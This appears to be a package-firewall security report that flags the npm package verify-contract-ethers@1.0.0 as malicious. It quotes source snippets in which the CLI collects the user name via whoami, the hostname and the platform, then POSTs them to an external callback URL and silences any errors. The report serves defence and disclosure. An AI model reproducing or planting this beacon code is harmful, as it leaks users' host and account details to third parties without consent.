--- canonical: "https://firewall.lpm.dev/npm/verify-contract-ethers" markdown: "https://firewall.lpm.dev/npm/verify-contract-ethers/report.md" package: "verify-contract-ethers" report_status: "published" title: "verify-contract-ethers@1.0.0 npm security report" verdict: "malicious" version: "1.0.0" --- # verify-contract-ethers@1.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The package discloses local account and host fingerprint information to a third party. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Data Exfiltration - **Selected version:** 1.0.0 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package's only implemented runtime behavior is unconsented host fingerprint collection and transmission to an unrelated endpoint. This is concrete data exfiltration, despite not running during installation. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-08-31T06:25:34.934Z - **Finished:** 2026-08-31T06:26:08.035Z - **Download time:** 253 ms - **Static scan time:** 19 ms - **AI review time:** 32828 ms - **Total time:** 33101 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Invoking the package CLI collects the local user name, hostname, and platform, then transmits them to an external callback. It provides no stated functional CLI behavior beyond this beacon. - **Trigger:** A user invokes the fuels-typegen command or executes bin/cli.js. - **Impact:** The package discloses local account and host fingerprint information to a third party. - **Evidence paths:** bin/cli.js, package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-31T06:26:08.035Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Host identity collection followed by an external HTTP POST. - **Attack narrative:** The advertised CLI immediately runs main, obtains the current user name using whoami or the operating-system account record, and sends it along with hostname and platform data to an external callback. Failures are deliberately ignored, allowing the command to exit cleanly after attempted exfiltration. - **Rationale:** The package's only implemented runtime behavior is unconsented host fingerprint collection and transmission to an unrelated endpoint. This is concrete data exfiltration, despite not running during installation. - **Files touched:** bin/cli.js, package.json - **Network endpoints:** https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The CLI obtains the local account name and sends it with host identity details to an unrelated external callback., The executable runs automatically when the advertised command is invoked and suppresses network errors., The manifest describes the package as posting the package name and local user name to an out-of-band callback. - **Evidence against:** There are no npm install lifecycle hooks., The inspected source does not modify local files or load a remote payload. ## Affected versions and remediation This report applies to verify-contract-ethers@1.0.0. - Avoid installing verify-contract-ethers@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. High: Host Fingerprint Exfiltration - **Category:** Source - **Confidence:** 86.0% - **Path:** bin/cli.js - **Public source:** [View source]() Source collects local host identity data and sends it to an external endpoint. Public source snippet (untrusted): ```javascript L2: L3: const { execFileSync } = require("node:child_process"); L4: const os = require("node:os"); L5: const { name } = require("../package.json"); L6: L7: const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9"; L8: ... L13: try { L14: return os.userInfo().username; L15: } catch { ... L34: }, L35: body: JSON.stringify({ ``` ### 4. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 5. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 6. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** package.json - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```json stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1 ``` ### 7. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** bin/cli.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 8. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** bin/cli.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = ca5e18460ef063fd signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/cli.js - **Public source:** [View source]() The CLI obtains the local account name and sends it with host identity details to an unrelated external callback. Public source snippet (untrusted): ```javascript function whoami() { try { return execFileSync("whoami", { encoding: "utf8" }).trim(); } catch { try { return os.userInfo().username; } catch { return "unknown"; } } } ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/cli.js - **Public source:** [View source]() The CLI obtains the local account name and sends it with host identity details to an unrelated external callback. Public source snippet (untrusted): ```javascript async function main() { const user = whoami(); const url = new URL(OOB_URL); url.searchParams.set("pkg", name); url.searchParams.set("whoami", user); try { await fetch(url.toString(), { method: "POST", headers: { "Content-Type": "application/json", "User-Agent": `npx/${name}`, "X-Package-Name": name, }, body: JSON.stringify({ pkg: name, whoami: user, hostname: os.hostname(), platform: os.platform(), }), ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/cli.js - **Public source:** [View source]() The executable runs automatically when the advertised command is invoked and suppresses network errors. Public source snippet (untrusted): ```javascript } catch { // OOB ping is best-effort; exit cleanly either way } } main(); ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The manifest describes the package as posting the package name and local user name to an out-of-band callback. Public source snippet (untrusted): ```json "name": "verify-contract-ethers", "version": "1.0.0", "description": "Minimal npx package that POSTs package name and whoami to an OOB callback", "bin": { "fuels-typegen": "bin/cli.js" }, "main": "bin/cli.js", ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** verify-contract-ethers - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-08-30T07:55:06.976Z - **Package first seen:** 2026-08-31T06:26:08.035Z - **Package last seen:** 2026-09-03T15:36:44.544Z - **Known versions:** 2 - **Latest version:** 0.0.1-security - **Appeal under review:** No - **Description:** Minimal npx package that POSTs package name and whoami to an OOB callback - **Runtime engines:** node: \>=18 - **Artifact files:** 2 - **Artifact unpacked size:** 1,416 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [ADVISORY]()